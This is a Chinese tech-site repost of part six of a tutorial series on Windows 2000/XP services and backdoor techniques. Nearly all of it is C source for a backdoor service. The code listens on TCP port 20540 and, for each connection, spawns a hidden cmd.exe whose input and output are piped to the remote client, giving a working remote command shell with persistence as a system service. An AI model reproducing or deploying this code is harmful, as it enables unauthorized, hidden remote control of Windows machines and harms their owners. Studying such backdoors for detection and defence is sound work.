科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道Win2000/XP服务与后门技术(6)

Win2000/XP服务与后门技术(6)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与Unix系统中的守护进程(daemon)。

作者:TOo2y 来源:中华安全网 2008年1月5日

关键字: 后门技术 服务 Windows Windows xp

  • 评论
  • 分享微博
  • 分享邮件

ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint  = 0;
ServiceStatus.dwWaitHint   = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}

ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}

return ;
}

DWord WINAPI CmdService(LPVOID lpParam)
{
     WSADATA       wsa;
     SOCKET       sServer;
     SOCKET       sClIEnt;
HANDLE       hThread;
struct       sockaddr_in sin;

WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;                
}
sin.sin_family     = AF_INET;
sin.sin_port       = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}

hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
     lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;

     while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}

     WSACleanup();
return 0;
}

DWORD WINAPI CmdShell(LPVOID lpParam)    
{
SOCKET       sClient=*(SOCKET *)lpParam;
     HANDLE       hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE       hThread[3];
DWORD        dwReavThreadId,dwSendThreadId;
DWORD        dwProcessId;
DWORD        dwResult;
STARTUPINFO     lpStartupInfo;
SESSIONDATA     sdWrite,sdRead;
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA     lpProcessDataLast;
     PPROCESSDATA     lpProcessDataNow;
char         lpImagePath[MAX_PATH];

saPipe.nLength       = sizeof(saPipe);
saPipe.bInheritHandle   = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}

if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}

GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb     = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags   = STARTF_USESHOWWINDOW │ STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput  = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError  = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;

GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));

WaitForSingleObject(hMutex,INFINITE);
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}

lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) ││ (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}

hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);

CloseHandle(hWriteShell);
CloseHandle(hReadShell);

sdRead.hPipe  = hReadPipe;
sdRead.sClient = sClient;
hThread[1]   = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}

sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2]   = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}

CloseHandle(hWritePipe);
CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
     lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);

return 0;
}

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章